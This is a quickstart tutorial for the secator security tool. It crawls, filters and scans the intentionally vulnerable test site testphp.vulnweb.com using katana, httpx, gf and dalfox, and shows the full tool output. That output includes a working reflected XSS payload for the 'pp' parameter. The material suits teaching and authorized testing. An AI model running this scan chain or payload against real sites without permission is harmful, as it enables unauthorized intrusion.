5 minutes secator session

or how you can hack faster than ever before...

This quickstart will be focused on using secator to find vulnerabilities on the website http://testphp.vulnweb.com.

We will start by using simple secator tasks, and then show how to use workflows to considerably speed up the session.

Using tasks

Step 1: Run katana on the root URL

We'll start by using a crawler to find some URLs that could be interesting to exploit for vulnerabiliites. We most often use katana, a tool by ProjectDiscovery.

We'll save our results to a .txt file:

secator x katana http://testphp.vulnweb.com -o txt
                         __            
   ________  _________ _/ /_____  _____
  / ___/ _ \/ ___/ __ `/ __/ __ \/ ___/
 (__  /  __/ /__/ /_/ / /_/ /_/ / /    
/____/\___/\___/\__,_/\__/\____/_/     v0.0.1

                    freelabz.com

katana -silent -jc -js-crawl -known-files all -u http://testphp.vulnweb.com -json -concurrency 50                                                                                                                                _base.py:614
🔗 http://testphp.vulnweb.com [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu, DreamWeaver]
🔗 http://testphp.vulnweb.com/high [404] [Nginx:1.19.0]
🔗 http://testphp.vulnweb.com/index.php
🔗 http://testphp.vulnweb.com/style.css [200] [Nginx:1.19.0]
🔗 http://testphp.vulnweb.com/privacy.php [404] [PHP:5.6.40, Ubuntu, Nginx:1.19.0]
🔗 http://testphp.vulnweb.com/AJAX/index.php [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu]
🔗 http://testphp.vulnweb.com/categories.php [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu, DreamWeaver]
🔗 http://testphp.vulnweb.com/cart.php [200] [PHP:5.6.40, Ubuntu, DreamWeaver, Nginx:1.19.0]
🔗 http://testphp.vulnweb.com/artists.php [200] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu]
🔗 http://testphp.vulnweb.com/Mod_Rewrite_Shop/ [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu]
🔗 http://testphp.vulnweb.com/hpp/ [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu]
🔗 http://testphp.vulnweb.com/disclaimer.php [200] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu]
🔗 http://testphp.vulnweb.com/login.php [200] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu]
🔗 http://testphp.vulnweb.com/Templates/main_dynamic_template.dwt.php [200] [Ubuntu, Nginx:1.19.0, PHP:5.6.40]
🔗 http://testphp.vulnweb.com/guestbook.php [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu, DreamWeaver]
🔗 http://testphp.vulnweb.com/userinfo.php
🔗 http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3/ [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu]
🔗 http://testphp.vulnweb.com/comment.php?aid=3 [200] [Ubuntu, Nginx:1.19.0, PHP:5.6.40]
🔗 http://testphp.vulnweb.com/search.php?test=query [200] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu]
🔗 http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/ [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu]
🔗 http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/ [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu]
🔗 http://testphp.vulnweb.com/Templates/high
🔗 http://testphp.vulnweb.com/comment.php?aid=2
🔗 http://testphp.vulnweb.com/artists.php?artist=1 [200] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu]
🔗 http://testphp.vulnweb.com/hpp/?pp=12 [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu]
🔗 http://testphp.vulnweb.com/signup.php [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu, DreamWeaver]
🔗 http://testphp.vulnweb.com/comment.php?aid=1
🔗 http://testphp.vulnweb.com/AJAX/showxml.php [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu]
🔗 http://testphp.vulnweb.com/AJAX/styles.css [200] [Nginx:1.19.0]
🔗 http://testphp.vulnweb.com/artists.php?artist=3 [200] [PHP:5.6.40, Ubuntu, DreamWeaver, Nginx:1.19.0]
🔗 http://testphp.vulnweb.com/listproducts.php?cat=3 [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu, DreamWeaver]
🔗 http://testphp.vulnweb.com/listproducts.php?cat=2 [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu, DreamWeaver]
🔗 http://testphp.vulnweb.com/showimage.php?file= [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu]
🔗 http://testphp.vulnweb.com/artists.php?artist=2 [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu, DreamWeaver]
🔗 http://testphp.vulnweb.com/listproducts.php?cat=4
🔗 http://testphp.vulnweb.com/listproducts.php?cat=1 [200] [Nginx:1.19.0, PHP:5.6.40, Ubuntu, DreamWeaver]
🗄 Saved TXT reports to 
   • /home/vagrant/.secator/reports/default/tasks/task_katana_target_2023_07_04-01_33_13_152782_PM.txt
   • /home/vagrant/.secator/reports/default/tasks/task_katana_url_2023_07_04-01_33_13_152782_PM.txt

katana found some pretty interesting results, including some PHP files that could potentially be vulnerable.

Step 2: Run httpx on found URLs to alive URLs

Crawlers usually find URLs from HTML response bodies, which means we have no ideas if those URLs will actually respond to HTTP requests or not.

In order to filter only the URLs that will give a valid HTTP status code, we can use httpx on the previous results (txt file). We'll add some rate limiting (-rl) in order to respect the server and not DDoS it for no reason.

We want to keep only some HTTP codes (-mc) for instance 200, 301, and 500 in case we have there are errors we can take advantage of: 

secator x httpx /home/vagrant/.secator/reports/default/tasks/task_katana_target_2023_07_04-01_33_13_152782_PM.txt -rl 10 -mc 200,301,500

                         __            
   ________  _________ _/ /_____  _____
  / ___/ _ \/ ___/ __ `/ __/ __ \/ ___/
 (__  /  __/ /__/ /_/ / /_/ /_/ / /    
/____/\___/\___/\__,_/\__/\____/_/     v0.0.1

                    freelabz.com

httpx -silent -td -asn -cdn -l /tmp/httpx_2023_07_04-01_19_35_686343_PM.txt -json -threads 50 -match-code 200,301,500                                                                                                            _base.py:614
🔗 http://testphp.vulnweb.com/showimage.php?file [200] [nginx/1.19.0] [Nginx:1.19.0, PHP:5.6.40, Ubuntu] [image/jpeg] [196]
🔗 http://testphp.vulnweb.com/hpp [200] [HTTP Parameter Pollution Example] [nginx/1.19.0] [Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [203]
🔗 http://testphp.vulnweb.com/cart.php [200] [you cart] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [4903]
🔗 http://testphp.vulnweb.com/categories.php [200] [picture categories] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [6115]
🔗 http://testphp.vulnweb.com/artists.php?artist=3 [200] [artists] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [6193]
🔗 http://testphp.vulnweb.com/comment.php?aid=3 [200] [comment on artist] [nginx/1.19.0] [Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [1252]
🔗 http://testphp.vulnweb.com/comment.php?aid=2 [200] [comment on artist] [nginx/1.19.0] [Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [1252]
🔗 http://testphp.vulnweb.com/AJAX/showxml.php [200] [nginx/1.19.0] [Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [11]
🔗 http://testphp.vulnweb.com/style.css [200] [nginx/1.19.0] [Nginx:1.19.0] [text/css] [5482]
🔗 http://testphp.vulnweb.com/artists.php?artist=1 [200] [artists] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [6251]
🔗 http://testphp.vulnweb.com/Templates/main_dynamic_template.dwt.php [200] [Document titleg] [nginx/1.19.0] [Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [4697]
🔗 http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3 [200] [nginx/1.19.0] [Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [313]
🔗 http://testphp.vulnweb.com/AJAX/styles.css [200] [nginx/1.19.0] [Nginx:1.19.0] [text/css] [562]
🔗 http://testphp.vulnweb.com/hpp/?pp=12 [200] [HTTP Parameter Pollution Example] [nginx/1.19.0] [Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [383]
🔗 http://testphp.vulnweb.com/login.php [200] [login page] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [5523]
🔗 http://testphp.vulnweb.com/guestbook.php [200] [guestbook] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [5390]
🔗 http://testphp.vulnweb.com/signup.php [200] [signup] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [6033]
🔗 http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1 [200] [nginx/1.19.0] [Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [319]
🔗 http://testphp.vulnweb.com/search.php?test=query [200] [search] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [4732]
🔗 http://testphp.vulnweb.com/listproducts.php?cat=3 [200] [pictures] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [4699]
🔗 http://testphp.vulnweb.com/AJAX/index.php [200] [ajax test] [nginx/1.19.0] [Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [4236]
🔗 http://testphp.vulnweb.com/disclaimer.php [200] [disclaimer] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [5524]
🔗 http://testphp.vulnweb.com/artists.php?artist=2 [200] [artists] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [6193]
🔗 http://testphp.vulnweb.com/listproducts.php?cat=4 [200] [pictures] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [4699]
🔗 http://testphp.vulnweb.com/artists.php [200] [artists] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [5328]
🔗 http://testphp.vulnweb.com/listproducts.php?cat=2 [200] [pictures] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [5311]
🔗 http://testphp.vulnweb.com/Mod_Rewrite_Shop [200] [nginx/1.19.0] [Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [975]
🔗 http://testphp.vulnweb.com/listproducts.php?cat=1 [200] [pictures] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [7880]
🔗 http://testphp.vulnweb.com/comment.php?aid=1 [200] [comment on artist] [nginx/1.19.0] [Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [1252]
🔗 http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2 [200] [nginx/1.19.0] [Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [279]
🔗 http://testphp.vulnweb.com [200] [Home of Acunetix Art] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [4958]
🔗 http://testphp.vulnweb.com/index.php [200] [Home of Acunetix Art] [nginx/1.19.0] [DreamWeaver, Nginx:1.19.0, PHP:5.6.40, Ubuntu] [text/html] [4958]
🗄 Saved TXT reports to 
   • /home/vagrant/.secator/reports/default/tasks/task_httpx_target_2023_07_04-01_34_22_081275_PM.txt
   • /home/vagrant/.secator/reports/default/tasks/task_httpx_url_2023_07_04-01_34_22_081275_PM.txt
Step 3: Run gf on found URLs

gf allows to run patterns on URLs, we can use it to quickly detect potential interesting URLs including XSS, LFIs, SSRFs, RCEs, Interesting params, or Insecure Direct Object references. Let's hunt for potential XSS:

secator x gf --pattern xss /home/vagrant/.secator/reports/default/tasks/task_httpx_target_2023_07_04-01_34_22_081275_PM.tx
🏷️ [xss] http://testphp.vulnweb.com/comment.php?aid=1 []
🏷️ [xss] http://testphp.vulnweb.com/comment.php?aid=2 []
🏷️ [xss] http://testphp.vulnweb.com/comment.php?aid=3 []
🏷️ [xss] http://testphp.vulnweb.com/hpp/?pp=12 []

Mmmh, it seems like we might have some interesting XSS targets here. Let's use dalfox to find out !

Step 4: Run dalfox on potential XSS links

dalfox is a pretty thorough XSS checker, let's run it on the targets we've identified:

secator x dalfox http://testphp.vulnweb.com/hpp/?pp=12

                         __            
   ________  _________ _/ /_____  _____
  / ___/ _ \/ ___/ __ `/ __/ __ \/ ___/
 (__  /  __/ /__/ /_/ / /_/ /_/ / /    
/____/\___/\___/\__,_/\__/\____/_/     v0.0.1

                    freelabz.com

dalfox --silence url 'http://testphp.vulnweb.com/hpp/?pp=12' --format json --worker 50                                                                                                                                           _base.py:614
🚨 [Verified XSS] [high] http://testphp.vulnweb.com/hpp/ [CWE-83] [inject_type:inATTR-double(3)-URL, poc_type:plain, method:GET, 
data:http://testphp.vulnweb.com/hpp/?pp=12%22id%3Dx+tabindex%3D1+style%3D%22display%3Ablock%3Btransition%3Aoutline+1s%3B%22+ontransitionend%3Dalert.apply%28null%2C1%29+class%3Ddalfox+, param:pp, payload:"id=x tabindex=1 
style="display:block;transition:outline 1s;" ontransitionend=alert.apply(null,1) class=dalfox , evidence:4 line:  ms.php?p=valid&pp=12"id=x tabindex=1 style="display:block;transition:outline 1s;, message_id:1103, message_str:Triggered XSS Payload 
(found DOM Object): pp="id=x tabindex=1 style="display:block;transition:outline 1s;" ontransitionend=alert.apply(null,1) class=dalfox ]

We have found a Verified XSS !

We could verify this XSS in our browser to validate it, but dalfox already gave us evidence that it works...

Using a task pipe

secator supports UNIX pipes out-of-the-box. You can write a secator pipe that can automate the 4 previous steps:

You don't have to specify any additional flag than when running normally, since secator will detect that you are running a UNIX pipe and automagically pass the proper inputs between task invocations:

  • By default, it will pass on stdin the raw string results from the previous task. If the task can output multiple Output types, then the first one in the class definition output_types attribute is picked.

  • We can specify which fields we want to use when passing raw strings using the -fmt option.

Command output

This is already a good time improvement over the previous lengthy set of tasks.

Using a workflow

Task pipes are good to quickly find things, but workflows are much better to repeat the same set of tasks over separate sets of targets, with the same input options for all tasks, while filtering final results and reacting to live results, etc...

Here is a secator workflow corresponding to the previous set of tasks:

And here is the workflow run using secator:

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